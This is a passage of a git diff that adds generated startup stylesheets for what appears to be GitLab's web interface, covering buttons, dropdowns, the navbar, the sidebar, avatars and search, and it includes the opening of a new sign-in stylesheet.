+ color: #303030;
+ color: #303030;
+ white-space: nowrap;
+}
+.btn:active, .btn.active {
+ box-shadow: rgba(0, 0, 0, 0.16);
+ background-color: #eaeaea;
+ border-color: #e3e3e3;
+ color: #303030;
+}
+.btn svg {
+ height: 15px;
+ width: 15px;
+}
+.btn svg:not(:last-child),
+.btn .fa:not(:last-child) {
+ margin-right: 5px;
+}
+.badge.badge-pill:not(.gl-badge) {
+ font-weight: 400;
+ background-color: rgba(0, 0, 0, 0.07);
+ color: #525252;
+ vertical-align: baseline;
+}
+.hint {
+ font-style: italic;
+ color: #bfbfbf;
+}
+.bold {
+ font-weight: 600;
+}
+pre.wrap {
+ word-break: break-word;
+ white-space: pre-wrap;
+}
+table a code {
+ position: relative;
+ top: -2px;
+ margin-right: 3px;
+}
+.loading {
+ margin: 20px auto;
+ height: 40px;
+ color: #525252;
+ font-size: 32px;
+ text-align: center;
+}
+.highlight {
+ text-shadow: none;
+}
+.chart {
+ overflow: hidden;
+ height: 220px;
+}
+.break-word {
+ word-wrap: break-word;
+}
+.center {
+ text-align: center;
+}
+.block {
+ display: block;
+}
+.flex {
+ display: flex;
+}
+.flex-grow {
+ flex-grow: 1;
+}
+.dropdown {
+ position: relative;
+}
+.show.dropdown .dropdown-menu {
+ transform: translateY(0);
+ display: block;
+ min-height: 40px;
+ max-height: 312px;
+ overflow-y: auto;
+}
+
+@media (max-width: 575.98px) {
+ .show.dropdown .dropdown-menu {
+ width: 100%;
+ }
+}
+ .show.dropdown .dropdown-menu-toggle,
+.show.dropdown .dropdown-menu-toggle {
+ border-color: #c4c4c4;
+}
+.show.dropdown [data-toggle='dropdown'] {
+ outline: 0;
+}
+.search-input-container .dropdown-menu {
+ margin-top: 11px;
+}
+ .dropdown-menu-toggle {
+ padding: 6px 8px 6px 10px;
+ background-color: #fff;
+ color: #303030;
+ font-size: 14px;
+ text-align: left;
+ border: 1px solid #dbdbdb;
+ border-radius: 0.25rem;
+ white-space: nowrap;
+}
+ .no-outline.dropdown-menu-toggle {
+ outline: 0;
+}
+ .dropdown-menu-toggle .fa {
+ color: #c4c4c4;
+}
+.dropdown-menu-toggle {
+ padding-right: 25px;
+ position: relative;
+ width: 160px;
+ text-overflow: ellipsis;
+ overflow: hidden;
+}
+.dropdown-menu-toggle .fa {
+ position: absolute;
+}
+.dropdown-menu {
+ display: none;
+ position: absolute;
+ width: auto;
+ top: 100%;
+ z-index: 300;
+ min-width: 240px;
+ max-width: 500px;
+ margin-top: 4px;
+ margin-bottom: 24px;
+ font-size: 14px;
+ font-weight: 400;
+ padding: 8px 0;
+ background-color: #fff;
+ border: 1px solid #dbdbdb;
+ border-radius: 0.25rem;
+ box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
+}
+.dropdown-menu ul {
+ margin: 0;
+ padding: 0;
+}
+.dropdown-menu li {
+ display: block;
+ text-align: left;
+ list-style: none;
+ padding: 0 1px;
+}
+.dropdown-menu li > a,
+.dropdown-menu li button {
+ background: transparent;
+ border: 0;
+ border-radius: 0;
+ box-shadow: none;
+ display: block;
+ font-weight: 400;
+ position: relative;
+ padding: 8px 12px;
+ color: #303030;
+ line-height: 16px;
+ white-space: normal;
+ overflow: hidden;
+ text-align: left;
+ width: 100%;
+}
+.dropdown-menu .divider {
+ height: 1px;
+ margin: 0.25rem 0;
+ padding: 0;
+ background-color: #dbdbdb;
+}
+.dropdown-menu .badge.badge-pill + span:not(.badge.badge-pill) {
+ margin-right: 40px;
+}
+.dropdown-select {
+ width: 300px;
+}
+
+@media (max-width: 767.98px) {
+ .dropdown-select {
+ width: 100%;
+ }
+}
+.dropdown-content {
+ max-height: 252px;
+ overflow-y: auto;
+}
+.dropdown-loading {
+ position: absolute;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ left: 0;
+ display: none;
+ z-index: 9;
+ background-color: rgba(255, 255, 255, 0.6);
+ font-size: 28px;
+}
+.dropdown-loading .fa {
+ position: absolute;
+ top: 50%;
+ left: 50%;
+ margin-top: -14px;
+ margin-left: -14px;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab li.dropdown {
+ position: static;
+ }
+ header.navbar-gitlab .dropdown .dropdown-menu {
+ width: 100%;
+ min-width: 100%;
+ }
+}
+
+@media (max-width: 767.98px) {
+ .dropdown-menu-toggle {
+ width: 100%;
+ }
+}
+textarea {
+ resize: vertical;
+}
+input {
+ border-radius: 0.25rem;
+ color: #303030;
+ background-color: #fff;
+}
+ .search form {
+ border-radius: 4px;
+ padding: 6px 10px;
+}
+ .search form::placeholder {
+ color: #868686;
+}
+.navbar-gitlab {
+ padding: 0 16px;
+ z-index: 1000;
+ margin-bottom: 0;
+ min-height: 40px;
+ border: 0;
+ border-bottom: 1px solid #dbdbdb;
+ position: fixed;
+ top: 0;
+ left: 0;
+ right: 0;
+ border-radius: 0;
+}
+.navbar-gitlab .logo-text {
+ line-height: initial;
+}
+.navbar-gitlab .logo-text svg {
+ width: 55px;
+ height: 14px;
+ margin: 0;
+ fill: #fff;
+}
+.navbar-gitlab .close-icon {
+ display: none;
+}
+.navbar-gitlab .header-content {
+ width: 100%;
+ display: flex;
+ justify-content: space-between;
+ position: relative;
+ min-height: 40px;
+ padding-left: 0;
+}
+.navbar-gitlab .header-content .title-container {
+ display: flex;
+ align-items: stretch;
+ flex: 1 1 auto;
+ padding-top: 0;
+ overflow: visible;
+}
+.navbar-gitlab .header-content .title {
+ padding-right: 0;
+ color: currentColor;
+ display: flex;
+ position: relative;
+ margin: 0;
+ font-size: 18px;
+ vertical-align: top;
+ white-space: nowrap;
+}
+.navbar-gitlab .header-content .title img {
+ height: 28px;
+}
+.navbar-gitlab .header-content .title img + .logo-text {
+ margin-left: 8px;
+}
+.navbar-gitlab .header-content .title.wrap {
+ white-space: normal;
+}
+.navbar-gitlab .header-content .title a {
+ display: flex;
+ align-items: center;
+ padding: 2px 8px;
+ margin: 5px 2px 5px -8px;
+ border-radius: 4px;
+}
+.navbar-gitlab .header-content .dropdown.open > a {
+ border-bottom-color: #fff;
+}
+.navbar-gitlab .header-content .navbar-collapse > ul.nav > li:not(.d-none) {
+ margin: 0 2px;
+}
+.navbar-gitlab .navbar-collapse {
+ flex: 0 0 auto;
+ border-top: 0;
+ padding: 0;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .navbar-collapse {
+ flex: 1 1 auto;
+ }
+}
+.navbar-gitlab .navbar-collapse .nav {
+ flex-wrap: nowrap;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .navbar-collapse .nav > li:not(.d-none) a {
+ margin-left: 0;
+ }
+}
+.navbar-gitlab .container-fluid {
+ padding: 0;
+}
+.navbar-gitlab .container-fluid .user-counter svg {
+ margin-right: 3px;
+}
+.navbar-gitlab .container-fluid .navbar-toggler {
+ position: relative;
+ right: -10px;
+ border-radius: 0;
+ min-width: 45px;
+ padding: 0;
+ margin: 8px -7px 8px 0;
+ font-size: 14px;
+ text-align: center;
+ color: currentColor;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .navbar-nav {
+ display: flex;
+ padding-right: 10px;
+ flex-direction: row;
+ }
+}
+.navbar-gitlab .container-fluid .navbar-nav li .badge.badge-pill {
+ box-shadow: none;
+ font-weight: 600;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .nav > li.header-user {
+ padding-left: 10px;
+ }
+}
+.navbar-gitlab .container-fluid .nav > li > a {
+ will-change: color;
+ margin: 4px 0;
+ padding: 6px 8px;
+ height: 32px;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .nav > li > a {
+ padding: 0;
+ }
+}
+.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle {
+ margin-left: 2px;
+}
+.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
+ margin-right: 0;
+}
+.navbar-gitlab .container-fluid .nav > li .header-new-dropdown-toggle {
+ margin-right: 0;
+}
+.navbar-sub-nav > li > a,
+.navbar-sub-nav > li > button,
+.navbar-nav > li > a,
+.navbar-nav > li > button {
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ padding: 6px 8px;
+ margin: 4px 2px;
+ font-size: 12px;
+ color: currentColor;
+ border-radius: 4px;
+ height: 32px;
+ font-weight: 600;
+}
+.navbar-sub-nav > li > button,
+.navbar-nav > li > button {
+ background: transparent;
+ border: 0;
+}
+.navbar-sub-nav .dropdown-menu,
+.navbar-nav .dropdown-menu {
+ position: absolute;
+}
+.navbar-sub-nav {
+ display: flex;
+ margin: 0 0 0 6px;
+}
+.caret-down,
+.btn .caret-down {
+ top: 0;
+ height: 11px;
+ width: 11px;
+ margin-left: 4px;
+ fill: currentColor;
+}
+.header-user .dropdown-menu,
+.header-new .dropdown-menu {
+ margin-top: 4px;
+}
+.btn-sign-in {
+ background-color: #ebebfa;
+ color: #292961;
+ font-weight: 600;
+ line-height: 18px;
+ margin: 4px 0 4px 2px;
+}
+.title-container .badge.badge-pill,
+.navbar-nav .badge.badge-pill {
+ position: inherit;
+ font-weight: 400;
+ margin-left: -6px;
+ font-size: 11px;
+ color: #fff;
+ padding: 0 5px;
+ line-height: 12px;
+ border-radius: 7px;
+ box-shadow: 0 1px 0 rgba(76, 78, 84, 0.2);
+}
+.title-container .badge.badge-pill.green-badge,
+.navbar-nav .badge.badge-pill.green-badge {
+ background-color: #108548;
+}
+.title-container .badge.badge-pill.merge-requests-count,
+.navbar-nav .badge.badge-pill.merge-requests-count {
+ background-color: #de7e00;
+}
+.title-container .badge.badge-pill.todos-count,
+.navbar-nav .badge.badge-pill.todos-count {
+ background-color: #1f75cb;
+}
+.title-container .canary-badge .badge,
+.navbar-nav .canary-badge .badge {
+ font-size: 12px;
+ line-height: 16px;
+ padding: 0 0.5rem;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid {
+ font-size: 18px;
+ }
+ .navbar-gitlab .container-fluid .navbar-nav {
+ table-layout: fixed;
+ width: 100%;
+ margin: 0;
+ text-align: right;
+ }
+ .navbar-gitlab .container-fluid .navbar-collapse {
+ margin-left: -8px;
+ margin-right: -10px;
+ }
+ .navbar-gitlab .container-fluid .navbar-collapse .nav > li:not(.d-none) {
+ flex: 1;
+ }
+ .header-user-dropdown-toggle {
+ text-align: center;
+ }
+ .header-user-avatar {
+ float: none;
+ }
+}
+.header-user.show .dropdown-menu {
+ margin-top: 4px;
+ color: #303030;
+ left: auto;
+ max-height: 445px;
+}
+.header-user.show .dropdown-menu svg {
+ vertical-align: text-top;
+}
+.header-user-avatar {
+ float: left;
+ margin-right: 5px;
+ border-radius: 50%;
+ border: 1px solid #f5f5f5;
+}
+.media {
+ display: flex;
+ align-items: flex-start;
+}
+.card {
+ margin-bottom: 16px;
+}
+.content-wrapper {
+ width: 100%;
+}
+.content-wrapper .container-fluid {
+ padding: 0 16px;
+}
+
+@media (min-width: 768px) {
+ .page-with-contextual-sidebar {
+ padding-left: 50px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .page-with-contextual-sidebar {
+ padding-left: 220px;
+ }
+}
+.context-header {
+ position: relative;
+ margin-right: 2px;
+ width: 220px;
+}
+.context-header > a,
+.context-header > button {
+ font-weight: 600;
+ display: flex;
+ width: 100%;
+ align-items: center;
+ padding: 10px 16px 10px 10px;
+ color: #303030;
+ background-color: transparent;
+ border: 0;
+ text-align: left;
+}
+.context-header .avatar-container {
+ flex: 0 0 40px;
+ background-color: #fff;
+}
+.context-header .sidebar-context-title {
+ overflow: hidden;
+ text-overflow: ellipsis;
+}
+.context-header .sidebar-context-title.text-secondary {
+ font-weight: normal;
+ font-size: 0.8em;
+}
+.nav-sidebar {
+ position: fixed;
+ z-index: 600;
+ width: 220px;
+ top: 40px;
+ bottom: 0;
+ left: 0;
+ background-color: #fafafa;
+ box-shadow: inset -1px 0 0 #dbdbdb;
+ transform: translate3d(0, 0, 0);
+}
+
+@media (min-width: 576px) and (max-width: 576px) {
+ .nav-sidebar:not(.sidebar-collapsed-desktop) {
+ box-shadow: inset -1px 0 0 #dbdbdb, 2px 1px 3px rgba(0, 0, 0, 0.1);
+ }
+}
+.nav-sidebar.sidebar-collapsed-desktop {
+ width: 50px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+}
+.nav-sidebar.sidebar-collapsed-desktop .badge.badge-pill:not(.fly-out-badge),
+.nav-sidebar.sidebar-collapsed-desktop .sidebar-context-title,
+.nav-sidebar.sidebar-collapsed-desktop .nav-item-name {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .sidebar-top-level-items > li > a {
+ min-height: 45px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .fly-out-top-item {
+ display: block;
+}
+.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
+ margin: 0 auto;
+}
+.nav-sidebar.sidebar-expanded-mobile {
+ left: 0;
+}
+.nav-sidebar a {
+ text-decoration: none;
+}
+.nav-sidebar ul {
+ padding-left: 0;
+ list-style: none;
+}
+.nav-sidebar li {
+ white-space: nowrap;
+}
+.nav-sidebar li a {
+ display: flex;
+ align-items: center;
+ padding: 12px 16px;
+ color: #666;
+}
+.nav-sidebar li .nav-item-name {
+ flex: 1;
+}
+.nav-sidebar li.active > a {
+ font-weight: 600;
+}
+
+@media (max-width: 767.98px) {
+ .nav-sidebar {
+ left: -220px;
+ }
+}
+.nav-sidebar .nav-icon-container {
+ display: flex;
+ margin-right: 8px;
+}
+.nav-sidebar .fly-out-top-item {
+ display: none;
+}
+.nav-sidebar svg {
+ height: 16px;
+ width: 16px;
+}
+
+@media (min-width: 768px) and (max-width: 1199px) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) {
+ width: 50px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .badge.badge-pill:not(.fly-out-badge),
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title,
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li > a {
+ min-height: 45px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item {
+ display: block;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container {
+ margin: 0 auto;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
+ height: 60px;
+ width: 50px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
+ padding: 10px 4px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
+ margin-right: 0;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
+ padding: 16px;
+ width: 49px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .collapse-text,
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-left {
+ display: none;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-right {
+ display: block;
+ margin: 0;
+ }
+}
+.nav-sidebar-inner-scroll {
+ height: 100%;
+ width: 100%;
+ overflow: auto;
+}
+.sidebar-sub-level-items {
+ display: none;
+ padding-bottom: 8px;
+}
+.sidebar-sub-level-items > li a {
+ padding: 8px 16px 8px 40px;
+}
+.sidebar-top-level-items {
+ margin-bottom: 60px;
+}
+
+@media (min-width: 576px) {
+ .sidebar-top-level-items > li > a {
+ margin-right: 1px;
+ }
+}
+.sidebar-top-level-items > li .badge.badge-pill {
+ background-color: rgba(0, 0, 0, 0.08);
+ color: #666;
+}
+.sidebar-top-level-items > li.active {
+ background: rgba(0, 0, 0, 0.04);
+}
+.sidebar-top-level-items > li.active > a {
+ margin-left: 4px;
+ padding-left: 12px;
+}
+.sidebar-top-level-items > li.active .badge.badge-pill {
+ font-weight: 600;
+}
+.sidebar-top-level-items > li.active .sidebar-sub-level-items:not(.is-fly-out-only) {
+ display: block;
+}
+.toggle-sidebar-button,
+.close-nav-button {
+ width: 219px;
+ position: fixed;
+ height: 48px;
+ bottom: 0;
+ padding: 0 16px;
+ background-color: #fafafa;
+ border: 0;
+ border-top: 1px solid #dbdbdb;
+ color: #666;
+ display: flex;
+ align-items: center;
+}
+.toggle-sidebar-button svg,
+.close-nav-button svg {
+ margin-right: 8px;
+}
+.toggle-sidebar-button .icon-chevron-double-lg-right,
+.close-nav-button .icon-chevron-double-lg-right {
+ display: none;
+}
+.collapse-text {
+ white-space: nowrap;
+ overflow: hidden;
+}
+.sidebar-collapsed-desktop .context-header {
+ height: 60px;
+ width: 50px;
+}
+.sidebar-collapsed-desktop .context-header a {
+ padding: 10px 4px;
+}
+.sidebar-collapsed-desktop .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+}
+.sidebar-collapsed-desktop .nav-icon-container {
+ margin-right: 0;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button {
+ padding: 16px;
+ width: 49px;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text,
+.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
+ display: none;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-right {
+ display: block;
+ margin: 0;
+}
+.fly-out-top-item > a {
+ display: flex;
+}
+.fly-out-top-item .fly-out-badge {
+ margin-left: 8px;
+}
+.fly-out-top-item-name {
+ flex: 1;
+}
+.close-nav-button {
+ display: none;
+}
+
+@media (max-width: 767.98px) {
+ .close-nav-button {
+ display: flex;
+ }
+ .toggle-sidebar-button {
+ display: none;
+ }
+}
+table.table {
+ margin-bottom: 16px;
+}
+table.table .dropdown-menu a {
+ text-decoration: none;
+}
+table.table .success,
+table.table .info {
+ color: #fff;
+}
+table.table .success a:not(.btn),
+table.table .info a:not(.btn) {
+ text-decoration: underline;
+ color: #fff;
+}
+pre {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ display: block;
+ padding: 8px 12px;
+ margin: 0 0 8px;
+ font-size: 13px;
+ word-break: break-all;
+ word-wrap: break-word;
+ color: #303030;
+ background-color: #fafafa;
+ border: 1px solid #dbdbdb;
+ border-radius: 2px;
+}
+.monospace {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+}
+input::-moz-placeholder,
+textarea::-moz-placeholder {
+ color: #868686;
+ opacity: 1;
+}
+input::-ms-input-placeholder,
+textarea::-ms-input-placeholder {
+ color: #868686;
+}
+input:-ms-input-placeholder,
+textarea:-ms-input-placeholder {
+ color: #868686;
+}
+svg {
+ fill: currentColor;
+}
+
+svg.s12 {
+ width: 12px;
+ height: 12px;
+}
+
+svg.s16 {
+ width: 16px;
+ height: 16px;
+}
+
+svg.s18 {
+ width: 18px;
+ height: 18px;
+}
+
+svg.s12 {
+ vertical-align: -1px;
+}
+
+svg.s16 {
+ vertical-align: -3px;
+}
+.sr-only {
+ position: absolute;
+ width: 1px;
+ height: 1px;
+ padding: 0;
+ margin: -1px;
+ overflow: hidden;
+ clip: rect(0, 0, 0, 0);
+ border: 0;
+}
+table.code {
+ width: 100%;
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ border: 0;
+ border-collapse: separate;
+ margin: 0;
+ padding: 0;
+ table-layout: fixed;
+ border-radius: 0 0 4px 4px;
+}
+.frame .badge.badge-pill {
+ position: absolute;
+ background-color: #428fdc;
+ color: #fff;
+ border: #fff 1px solid;
+ min-height: 16px;
+ padding: 5px 8px;
+ border-radius: 12px;
+}
+.frame .badge.badge-pill {
+ transform: translate(-50%, -50%);
+}
+.color-label {
+ padding: 0 0.5rem;
+ line-height: 16px;
+ border-radius: 100px;
+ color: #fff;
+}
+.label-link {
+ display: inline-flex;
+ vertical-align: text-bottom;
+}
+.milestones {
+ padding: 8px;
+ margin-top: 8px;
+ border-radius: 4px;
+ background-color: #dbdbdb;
+}
+.search {
+ margin: 0 8px;
+}
+.search form {
+ margin: 0;
+ padding: 4px;
+ width: 200px;
+ line-height: 24px;
+ height: 32px;
+ border: 0;
+ border-radius: 4px;
+}
+
+@media (min-width: 1200px) {
+ .search form {
+ width: 320px;
+ }
+}
+.search .search-input {
+ border: 0;
+ font-size: 14px;
+ padding: 0 20px 0 0;
+ margin-left: 5px;
+ line-height: 25px;
+ width: 98%;
+ color: #fff;
+ background: none;
+}
+.search .search-input-container {
+ display: flex;
+ position: relative;
+}
+.search .search-input-wrap {
+ width: 100%;
+}
+.search .search-input-wrap .search-icon,
+.search .search-input-wrap .clear-icon {
+ position: absolute;
+ right: 5px;
+ top: 4px;
+}
+.search .search-input-wrap .search-icon {
+ -moz-user-select: none;
+ user-select: none;
+}
+.search .search-input-wrap .clear-icon {
+ display: none;
+}
+.search .search-input-wrap .dropdown {
+ position: static;
+}
+.search .search-input-wrap .dropdown-menu {
+ left: -5px;
+ max-height: 400px;
+ overflow: auto;
+}
+
+@media (min-width: 1200px) {
+ .search .search-input-wrap .dropdown-menu {
+ width: 320px;
+ }
+}
+.search .search-input-wrap .dropdown-content {
+ max-height: 382px;
+}
+.settings {
+ border-top: 1px solid #dbdbdb;
+}
+.settings:first-of-type {
+ margin-top: 10px;
+ border: 0;
+}
+.settings + div .settings:first-of-type {
+ margin-top: 0;
+ border-top: 1px solid #dbdbdb;
+}
+.avatar, .avatar-container {
+ float: left;
+ margin-right: 16px;
+ border-radius: 50%;
+ border: 1px solid #f5f5f5;
+}
+.s16.avatar, .s16.avatar-container {
+ width: 16px;
+ height: 16px;
+ margin-right: 8px;
+}
+.s18.avatar, .s18.avatar-container {
+ width: 18px;
+ height: 18px;
+ margin-right: 8px;
+}
+.s40.avatar, .s40.avatar-container {
+ width: 40px;
+ height: 40px;
+ margin-right: 8px;
+}
+.avatar {
+ transition-property: none;
+ width: 40px;
+ height: 40px;
+ padding: 0;
+ background: #fdfdfd;
+ overflow: hidden;
+ border-color: rgba(0, 0, 0, 0.1);
+}
+.avatar.center {
+ font-size: 14px;
+ line-height: 1.8em;
+ text-align: center;
+}
+.avatar.avatar-tile {
+ border-radius: 0;
+ border: 0;
+}
+.avatar-container {
+ overflow: hidden;
+ display: flex;
+}
+.avatar-container a {
+ width: 100%;
+ height: 100%;
+ display: flex;
+ text-decoration: none;
+}
+.avatar-container .avatar {
+ border-radius: 0;
+ border: 0;
+ height: auto;
+ width: 100%;
+ margin: 0;
+ align-self: center;
+}
+.avatar-container.s40 {
+ min-width: 40px;
+ min-height: 40px;
+}
+.rect-avatar {
+ border-radius: 2px;
+}
+.rect-avatar.s16 {
+ border-radius: 2px;
+}
+.rect-avatar.s18 {
+ border-radius: 2px;
+}
+.rect-avatar.s40 {
+ border-radius: 4px;
+}
+.tab-width-8 {
+ -moz-tab-size: 8;
+ tab-size: 8;
+}
+.gl-sr-only {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+.gl-ml-3 {
+ margin-left: 0.5rem;
+}
+.content-wrapper > .alert-wrapper,
+#content-body, .modal-dialog {
+ display: block;
+}
@import 'cloaking';
@include cloak-startup-scss(none);
diff --git a/app/assets/stylesheets/startup/startup-signin.scss b/app/assets/stylesheets/startup/startup-signin.scss
new file mode 100644
index 00000000000..b3e53e35f6e
--- /dev/null
+++ b/app/assets/stylesheets/startup/startup-signin.scss
@@ -0,0 +1,2409 @@
+@charset "UTF-8";
+*,
+*::before,
+*::after {
+ box-sizing: border-box;
+}
+html {
+ font-family: sans-serif;
+ line-height: 1.15;
+}
+ header, nav, section {
+ display: block;
+}
+body {
+ margin: 0;
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+ font-size: 1rem;
+ font-weight: 400;
+ line-height: 1.5;
+ color: #303030;
+ text-align: left;
+ background-color: #fff;
+}
+hr {
+ box-sizing: content-box;
+ height: 0;
+ overflow: visible;
+}
+h1, h2, h3 {
+ margin-top: 0;
+ margin-bottom: 0.25rem;
+}
+p {
+ margin-top: 0;
+ margin-bottom: 1rem;
+}
+address {
+ margin-bottom: 1rem;
+ font-style: normal;
+ line-height: inherit;
+}
+
+ul {
+ margin-top: 0;
+ margin-bottom: 1rem;
+}
+
+ul ul {
+ margin-bottom: 0;
+}
+
+strong {
+ font-weight: bolder;
+}
+sub {
+ position: relative;
+ font-size: 75%;
+ line-height: 0;
+ vertical-align: baseline;
+}
+sub {
+ bottom: -.25em;
+}
+a {
+ color: #007bff;
+ text-decoration: none;
+ background-color: transparent;
+}
+a:not([href]) {
+ color: inherit;
+ text-decoration: none;
+}
+pre,
+code {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ font-size: 1em;
+}
+pre {
+ margin-top: 0;
+ margin-bottom: 1rem;
+ overflow: auto;
+}
+img {
+ vertical-align: middle;
+ border-style: none;
+}
+svg {
+ overflow: hidden;
+ vertical-align: middle;
+}
+table {
+ border-collapse: collapse;
+}
+th {
+ text-align: inherit;
+}
+label {
+ display: inline-block;
+ margin-bottom: 0.5rem;
+}
+button {
+ border-radius: 0;
+}
+input,
+button,
+textarea {
+ margin: 0;
+ font-family: inherit;
+ font-size: inherit;
+ line-height: inherit;
+}
+button,
+input {
+ overflow: visible;
+}
+button {
+ text-transform: none;
+}
+button:not(:disabled),
+[type="button"]:not(:disabled),
+[type="reset"]:not(:disabled),
+[type="submit"]:not(:disabled) {
+ cursor: pointer;
+}
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+ padding: 0;
+ border-style: none;
+}
+
+input[type="checkbox"] {
+ box-sizing: border-box;
+ padding: 0;
+}
+textarea {
+ overflow: auto;
+ resize: vertical;
+}
+fieldset {
+ min-width: 0;
+ padding: 0;
+ margin: 0;
+ border: 0;
+}
+[type="search"] {
+ outline-offset: -2px;
+}
+summary {
+ display: list-item;
+ cursor: pointer;
+}
+template {
+ display: none;
+}
+[hidden] {
+ display: none !important;
+}
+h1, h2, h3,
+.h1, .h2, .h3 {
+ margin-bottom: 0.25rem;
+ font-weight: 600;
+ line-height: 1.2;
+ color: #303030;
+}
+h1, .h1 {
+ font-size: 2.1875rem;
+}
+h2, .h2 {
+ font-size: 1.75rem;
+}
+h3, .h3 {
+ font-size: 1.53125rem;
+}
+hr {
+ margin-top: 0.5rem;
+ margin-bottom: 0.5rem;
+ border: 0;
+ border-top: 1px solid rgba(0, 0, 0, 0.1);
+}
+.list-unstyled {
+ padding-left: 0;
+ list-style: none;
+}
+code {
+ font-size: 90%;
+ color: #1f1f1f;
+ word-wrap: break-word;
+}
+a > code {
+ color: inherit;
+}
+pre {
+ display: block;
+ font-size: 90%;
+ color: #303030;
+}
+pre code {
+ font-size: inherit;
+ color: inherit;
+ word-break: normal;
+}
+.container {
+ width: 100%;
+ padding-right: 15px;
+ padding-left: 15px;
+ margin-right: auto;
+ margin-left: auto;
+}
+
+@media (min-width: 576px) {
+ .container {
+ max-width: 540px;
+ }
+}
+
+@media (min-width: 768px) {
+ .container {
+ max-width: 720px;
+ }
+}
+
+@media (min-width: 992px) {
+ .container {
+ max-width: 960px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .container {
+ max-width: 1140px;
+ }
+}
+.container-fluid {
+ width: 100%;
+ padding-right: 15px;
+ padding-left: 15px;
+ margin-right: auto;
+ margin-left: auto;
+}
+
+@media (min-width: 576px) {
+ .container {
+ max-width: 540px;
+ }
+}
+
+@media (min-width: 768px) {
+ .container {
+ max-width: 720px;
+ }
+}
+
+@media (min-width: 992px) {
+ .container {
+ max-width: 960px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .container {
+ max-width: 1140px;
+ }
+}
+.row {
+ display: flex;
+ flex-wrap: wrap;
+ margin-right: -15px;
+ margin-left: -15px;
+}
+ .col-sm-5, .col-sm-7, .col-sm-12 {
+ position: relative;
+ width: 100%;
+ padding-right: 15px;
+ padding-left: 15px;
+}
+.order-1 {
+ order: 1;
+}
+.order-12 {
+ order: 12;
+}
+
+@media (min-width: 576px) {
+ .col-sm-5 {
+ flex: 0 0 41.66667%;
+ max-width: 41.66667%;
+ }
+ .col-sm-7 {
+ flex: 0 0 58.33333%;
+ max-width: 58.33333%;
+ }
+ .col-sm-12 {
+ flex: 0 0 100%;
+ max-width: 100%;
+ }
+ .order-sm-1 {
+ order: 1;
+ }
+ .order-sm-12 {
+ order: 12;
+ }
